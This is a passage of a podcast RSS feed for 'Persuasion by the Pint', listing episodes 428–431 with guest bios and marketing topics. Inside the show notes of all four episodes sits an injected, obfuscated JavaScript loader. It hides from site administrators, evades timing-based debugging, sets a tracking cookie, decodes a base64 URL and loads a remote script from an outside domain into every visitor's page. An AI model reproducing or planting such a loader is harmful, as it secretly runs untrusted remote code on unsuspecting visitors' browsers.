
<p class="wp-block-paragraph">1. McDonald&#8217;s Disaster (CEO Big Arch Burger Video)</p>



<p class="wp-block-paragraph">2. French Fry Cookies (Repackaging)</p>



<p class="wp-block-paragraph">3. Cold Caking</p>



<p class="wp-block-paragraph">4. Lowering the Lights Makes You Spend More (Bars and Restaurants)</p>



<p class="wp-block-paragraph">5. The KitKat Heist</p>



<p class="wp-block-paragraph">6. Red Bull Guerilla Marketing&nbsp;</p>



<p class="wp-block-paragraph">7. Pinterest&#8217;s &#8220;Best Thing Online Is a Reason to Get Offline&#8221;</p>



<p class="wp-block-paragraph">You can access the show notes with links at <a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbC1IWThyci1oRkR3MzA2UzUyUDF1dTFXSzRLd3xBQ3Jtc0trRVQ5SmlqWkIySHNKVGZzNklOZnAtQUQ3RHRsTHFrY3I2S3A3MmNDM3ZpSk1RSVVMRTE5N1hqa0NhOWxweTMtLU5Dd3pwVzdNYVFTLVdhRVVWV3lDTmNNRGwzZTRRdmpYSUdTd2VRTHlvbDRrWEc5dw&amp;q=https%3A%2F%2Fdocs.google.com%2Fdocument%2Fu%2F0%2Fd%2F1AU3kEOvYAA4qM77X_nF2dt9GHsG3LX87K-ZipYtNYDU%2Fmobilebasic%3Furp%3Dgmail_link&amp;v=OSfmVYNjZvU" target="_blank" rel="noreferrer noopener">https://docs.google.com/document/u/0/&#8230;</a></p>



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<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><p>The post <a href="http://persuasionbythepint.com/431-persuasion-flight-mcdonalds-disaster-redbull-guerilla-marketing-cold-caking-kitkat-heist-more/">431: Persuasion Flight: McDonald’s Disaster, RedBull Guerilla Marketing, Cold Caking, KitKat Heist & More</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
		
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				<itunes:episodeType>full</itunes:episodeType>
		<itunes:duration>1:15:03</itunes:duration>
	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:explicit>no</itunes:explicit><itunes:subtitle>In this episode, we cover a flight of persuasion topics. These include: 1. McDonald&amp;#8217;s Disaster (CEO Big Arch Burger Video) 2. French Fry Cookies (Repackaging) 3. Cold Caking 4. Lowering the Lights Makes You Spend More (Bars and Restaurants) 5. The KitKat Heist 6. Red Bull Guerilla Marketing&amp;#160; 7. Pinterest&amp;#8217;s &amp;#8220;Best Thing Online Is a [&amp;#8230;] The post 431: Persuasion Flight: McDonald’s Disaster, RedBull Guerilla Marketing, Cold Caking, KitKat Heist &amp; More first appeared on Persuasion by the Pint.</itunes:subtitle><itunes:author>Jonathan Taylor and Sean McCool</itunes:author><itunes:summary>In this episode, we cover a flight of persuasion topics. These include: 1. McDonald&amp;#8217;s Disaster (CEO Big Arch Burger Video) 2. French Fry Cookies (Repackaging) 3. Cold Caking 4. Lowering the Lights Makes You Spend More (Bars and Restaurants) 5. The KitKat Heist 6. Red Bull Guerilla Marketing&amp;#160; 7. Pinterest&amp;#8217;s &amp;#8220;Best Thing Online Is a [&amp;#8230;] The post 431: Persuasion Flight: McDonald’s Disaster, RedBull Guerilla Marketing, Cold Caking, KitKat Heist &amp; More first appeared on Persuasion by the Pint.</itunes:summary><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
		<item>
		<title>430: The 7 Truths Every Writer Needs to Hear – Interview with Writer and Filmmaker Clay Stafford</title>
		<link>http://persuasionbythepint.com/430-the-7-truths-every-writer-needs-to-hear-interview-with-writer-and-filmmakerclay-stafford/</link>
		
		
		<pubDate>Sat, 25 Apr 2026 19:01:03 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
		<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Branding]]></category>
		<category><![CDATA[Commitment and Consistency]]></category>
		<category><![CDATA[Copywriting]]></category>
		<category><![CDATA[Cults]]></category>
		<category><![CDATA[Headlines]]></category>
		<category><![CDATA[Hypnosis]]></category>
		<category><![CDATA[Liking]]></category>
		<category><![CDATA[negotiation]]></category>
		<category><![CDATA[NLP]]></category>
		<category><![CDATA[persuasion]]></category>
		<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[PR]]></category>
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		<category><![CDATA[Storytelling]]></category>
		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3007</guid>

					<description><![CDATA[<p>On this episode, Clay Stafford joins the show. Clay has had an eclectic career as an author, filmmaker, story and creative consultant, actor, composer, educator, public speaker, and business leader. He has sold nearly four million copies of his works in over sixteen languages. He is the founder and CEO of the annual Killer Nashville [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/430-the-7-truths-every-writer-needs-to-hear-interview-with-writer-and-filmmakerclay-stafford/">430: The 7 Truths Every Writer Needs to Hear – Interview with Writer and Filmmaker Clay Stafford</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode, <a href="https://claystafford.com/" target="_blank" rel="noopener" title="">Clay Stafford</a> joins the show. Clay has had an eclectic career as an author, filmmaker, story and creative consultant, actor, composer, educator, public speaker, and business leader. He has sold nearly four million copies of his works in over sixteen languages.</p>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" width="1024" height="462" src="https://persuasionbythepint.com/wp-content/uploads/2026/04/Clay-Stafford-Storyteller-Educator-Visionary-scaled-1-1024x462.png" alt="" class="wp-image-3010" style="aspect-ratio:2.216497022426828;width:774px;height:auto" srcset="http://persuasionbythepint.com/wp-content/uploads/2026/04/Clay-Stafford-Storyteller-Educator-Visionary-scaled-1-1024x462.png 1024w, http://persuasionbythepint.com/wp-content/uploads/2026/04/Clay-Stafford-Storyteller-Educator-Visionary-scaled-1-300x135.png 300w, http://persuasionbythepint.com/wp-content/uploads/2026/04/Clay-Stafford-Storyteller-Educator-Visionary-scaled-1-768x347.png 768w, http://persuasionbythepint.com/wp-content/uploads/2026/04/Clay-Stafford-Storyteller-Educator-Visionary-scaled-1-1536x693.png 1536w, http://persuasionbythepint.com/wp-content/uploads/2026/04/Clay-Stafford-Storyteller-Educator-Visionary-scaled-1-2048x924.png 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">He is the founder and CEO of the annual <a href="https://www.killernashville.com/" target="_blank" rel="noopener" title="">Killer Nashville International Writers’ Conference</a>, now in its 21st year, and a contributor to Writer’s Digest magazine with his monthly online column, “Killer Writer”. In addition, Clay is the founder of <a href="https://killernashvilleuniversity.com/" target="_blank" rel="noopener" title="">Killer Nashville University</a>, a creative learning platform for writers.</p>



<p class="wp-block-paragraph">You can learn more about him at&nbsp;<a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbkFBeDE2bWlPVWFxdWFKakM3TkxvMVBaVkdGQXxBQ3Jtc0traldFT1JXVU1ncmdRdWRrb1ROVllFYlpNZVVNTEk3bENxcFctY2FaQkh6cDM0Y3FTYWIyRF9IbzFNOS1LVGdiNFUxMkIyRUlBLWJJZGdtS1F4NWxJRnhyNDkxZ3BERkVGOHZCbVRFYmduWHFCQV9idw&amp;q=https%3A%2F%2Fclaystafford.com%2F&amp;v=i4-XryiEsmI" target="_blank" rel="noreferrer noopener">https://claystafford.com</a>.</p>



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<iframe loading="lazy" width="560" height="315" src="https://www.youtube.com/embed/i4-XryiEsmI?si=KzSQENHgpCyw1bol" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><p>The post <a href="http://persuasionbythepint.com/430-the-7-truths-every-writer-needs-to-hear-interview-with-writer-and-filmmakerclay-stafford/">430: The 7 Truths Every Writer Needs to Hear – Interview with Writer and Filmmaker Clay Stafford</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
		
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				<itunes:episodeType>full</itunes:episodeType>
		<itunes:duration>1:11:33</itunes:duration>
	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:explicit>no</itunes:explicit><itunes:subtitle>On this episode, Clay Stafford joins the show. Clay has had an eclectic career as an author, filmmaker, story and creative consultant, actor, composer, educator, public speaker, and business leader. He has sold nearly four million copies of his works in over sixteen languages. He is the founder and CEO of the annual Killer Nashville [&amp;#8230;] The post 430: The 7 Truths Every Writer Needs to Hear – Interview with Writer and Filmmaker Clay Stafford first appeared on Persuasion by the Pint.</itunes:subtitle><itunes:author>Jonathan Taylor and Sean McCool</itunes:author><itunes:summary>On this episode, Clay Stafford joins the show. Clay has had an eclectic career as an author, filmmaker, story and creative consultant, actor, composer, educator, public speaker, and business leader. He has sold nearly four million copies of his works in over sixteen languages. He is the founder and CEO of the annual Killer Nashville [&amp;#8230;] The post 430: The 7 Truths Every Writer Needs to Hear – Interview with Writer and Filmmaker Clay Stafford first appeared on Persuasion by the Pint.</itunes:summary><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
		<item>
		<title>429: The Art of Selling at Trade Shows – Interview with Daniel Murphy of Tradeshow Secrets</title>
		<link>http://persuasionbythepint.com/429-the-art-of-selling-at-trade-shows-interview-with-daniel-murphy-of-tradeshow-secrets/</link>
		
		
		<pubDate>Sat, 18 Apr 2026 14:31:42 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
		<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Branding]]></category>
		<category><![CDATA[Commitment and Consistency]]></category>
		<category><![CDATA[Copywriting]]></category>
		<category><![CDATA[Cults]]></category>
		<category><![CDATA[Headlines]]></category>
		<category><![CDATA[Hypnosis]]></category>
		<category><![CDATA[Liking]]></category>
		<category><![CDATA[negotiation]]></category>
		<category><![CDATA[NLP]]></category>
		<category><![CDATA[persuasion]]></category>
		<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[PR]]></category>
		<category><![CDATA[Reciprocation]]></category>
		<category><![CDATA[Sales]]></category>
		<category><![CDATA[Social Proof]]></category>
		<category><![CDATA[Storytelling]]></category>
		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3004</guid>

					<description><![CDATA[<p>On this episode, Daniel Murphy of Tradeshow Secrets joins us to share how to maximize your ROI at Tradeshow events. Daniel is an entrepreneur, consultant, high-ticket and sales mentor. With a transformative journey from adversity to triumph, Daniel specializes in achieving high return on ad spend (ROAS) and streamlining revenue generation. &#160;His dedication to mentorship [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/429-the-art-of-selling-at-trade-shows-interview-with-daniel-murphy-of-tradeshow-secrets/">429: The Art of Selling at Trade Shows – Interview with Daniel Murphy of Tradeshow Secrets</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode, Daniel Murphy of Tradeshow Secrets joins us to share how to maximize your ROI at Tradeshow events. Daniel is an entrepreneur, consultant, high-ticket and sales mentor. With a transformative journey from adversity to triumph, Daniel specializes in achieving high return on ad spend (ROAS) and streamlining revenue generation.</p>



<p class="wp-block-paragraph">&nbsp;His dedication to mentorship and empowering others has led to significant success stories in various industries. You can learn more by visiting <a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbHk5N1pfWC03LWoxSGpNajFPVkFjcWVvaHNYd3xBQ3Jtc0tucUNPMGdLTjdZYjFPMnZoaTlNQXhDV1BMdllIMTV6OXpGUHRQOWozV0NtTXFxREdLWGs5R1FDNXducXN5WmVqcnRYZlJzaG8xVU5ycWNPbEhTaEo0c3BXWkE2aDF0OGpKTHFZY29FRzdUem0zeGpqWQ&amp;q=https%3A%2F%2Ftradeshowsecrets.com%2F&amp;v=x0JjDzzMbkQ" target="_blank" rel="noreferrer noopener">https://tradeshowsecrets.com</a>.</p>



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<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><p>The post <a href="http://persuasionbythepint.com/429-the-art-of-selling-at-trade-shows-interview-with-daniel-murphy-of-tradeshow-secrets/">429: The Art of Selling at Trade Shows – Interview with Daniel Murphy of Tradeshow Secrets</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
		
				<enclosure length="76074967" type="audio/mpeg" url="https://pdcn.co/e/dts.podtrac.com/redirect.mp3/traffic.libsyn.com/letstalkmarketing/Untitled_Session_79_mixdown.mp3"/>

				<itunes:episodeType>full</itunes:episodeType>
		<itunes:duration>52:49</itunes:duration>
	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:explicit>no</itunes:explicit><itunes:subtitle>On this episode, Daniel Murphy of Tradeshow Secrets joins us to share how to maximize your ROI at Tradeshow events. Daniel is an entrepreneur, consultant, high-ticket and sales mentor. With a transformative journey from adversity to triumph, Daniel specializes in achieving high return on ad spend (ROAS) and streamlining revenue generation. &amp;#160;His dedication to mentorship [&amp;#8230;] The post 429: The Art of Selling at Trade Shows – Interview with Daniel Murphy of Tradeshow Secrets first appeared on Persuasion by the Pint.</itunes:subtitle><itunes:author>Jonathan Taylor and Sean McCool</itunes:author><itunes:summary>On this episode, Daniel Murphy of Tradeshow Secrets joins us to share how to maximize your ROI at Tradeshow events. Daniel is an entrepreneur, consultant, high-ticket and sales mentor. With a transformative journey from adversity to triumph, Daniel specializes in achieving high return on ad spend (ROAS) and streamlining revenue generation. &amp;#160;His dedication to mentorship [&amp;#8230;] The post 429: The Art of Selling at Trade Shows – Interview with Daniel Murphy of Tradeshow Secrets first appeared on Persuasion by the Pint.</itunes:summary><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
		<item>
		<title>428: How to Use Brain Science to Hook Readers from the Very First Sentence</title>
		<link>http://persuasionbythepint.com/428-how-to-use-brain-science-to-hook-readers-from-the-very-first-sentence/</link>
		
		
		<pubDate>Sat, 11 Apr 2026 15:05:11 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
		<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Branding]]></category>
		<category><![CDATA[Commitment and Consistency]]></category>
		<category><![CDATA[Copywriting]]></category>
		<category><![CDATA[Cults]]></category>
		<category><![CDATA[Headlines]]></category>
		<category><![CDATA[Hypnosis]]></category>
		<category><![CDATA[Liking]]></category>
		<category><![CDATA[negotiation]]></category>
		<category><![CDATA[NLP]]></category>
		<category><![CDATA[persuasion]]></category>
		<category><![CDATA[Podcasts]]></category>
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		<category><![CDATA[Storytelling]]></category>
		<guid isPermaLink="false">https://persuasionbythepint.com/?p=2999</guid>

					<description><![CDATA[<p>On this episode. Lisa Cron joins us to discuss the brain science that makes really good writing. Lisa is the author of Wired for Story, Story Genius, and her latest book, Story or Die. Lisa has worked in publishing at W.W. Norton, as an agent at the Angela Rinaldi Literary Agency, as a producer on [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/428-how-to-use-brain-science-to-hook-readers-from-the-very-first-sentence/">428: How to Use Brain Science to Hook Readers from the Very First Sentence</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode. <a href="http://wiredforstory.com/" target="_blank" rel="noopener" title="">Lisa Cron</a> joins us to discuss the brain science that makes really good writing. Lisa is the author of <em><a href="http://wiredforstory.com/wired-for-story" target="_blank" rel="noopener" title="">Wired for Story</a></em>, <em><a href="http://wiredforstory.com/story-genius-1" target="_blank" rel="noopener" title="">Story Genius</a></em>, and her latest book, <em><a href="http://wiredforstory.com/story-or-die-sm" target="_blank" rel="noopener" title="">Story or Die</a></em>. Lisa has worked in publishing at W.W. Norton, as an agent at the Angela Rinaldi Literary Agency, as a producer on shows for Showtime and CourtTV, and as a story consultant for Warner Brothers and the William Morris Agency.</p>



<p class="wp-block-paragraph">Since 2006, she&#8217;s been an instructor in the UCLA Extension Writers&#8217; Program and been on the faculty of the School of Visual Arts MFA program in visual narrative in New York City. Her 7-hour video class Wired for Story can be found at <a href="http://www.CreativeLive.com" target="_blank" rel="noopener" title="">CreativeLive.com</a>. You can learn more about Lisa at <a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbHEtRkRxcmNldE9wTkRBVjAyUkZwNE9jU2Q4QXxBQ3Jtc0tuZG5KcU1yQ2lnTUU3Znp4b29ERklBMHRrdWZab2xoQXU0LVB0Z200ci0yRjdOOGxobG1NWU4xZGJQSVk0V1NBNGNzcmdsMUtGamxrN2hfVU00bmQ2R2ZoWEZTMU5WUG5UUUozdVJZSG9kTEcxWmN4RQ&amp;q=http%3A%2F%2Fwiredforstory.com%2F&amp;v=UewqbHyWsSQ" target="_blank" rel="noreferrer noopener">http://wiredforstory.com</a>.</p>



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<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><p>The post <a href="http://persuasionbythepint.com/428-how-to-use-brain-science-to-hook-readers-from-the-very-first-sentence/">428: How to Use Brain Science to Hook Readers from the Very First Sentence</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
		
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	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:explicit>no</itunes:explicit><itunes:subtitle>On this episode. Lisa Cron joins us to discuss the brain science that makes really good writing. Lisa is the author of Wired for Story, Story Genius, and her latest book, Story or Die. Lisa has worked in publishing at W.W. Norton, as an agent at the Angela Rinaldi Literary Agency, as a producer on [&amp;#8230;] The post 428: How to Use Brain Science to Hook Readers from the Very First Sentence first appeared on Persuasion by the Pint.</itunes:subtitle><itunes:author>Jonathan Taylor and Sean McCool</itunes:author><itunes:summary>On this episode. Lisa Cron joins us to discuss the brain science that makes really good writing. Lisa is the author of Wired for Story, Story Genius, and her latest book, Story or Die. Lisa has worked in publishing at W.W. Norton, as an agent at the Angela Rinaldi Literary Agency, as a producer on [&amp;#8230;] The post 428: How to Use Brain Science to Hook Readers from the Very First Sentence first appeared on Persuasion by the Pint.</itunes:summary><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
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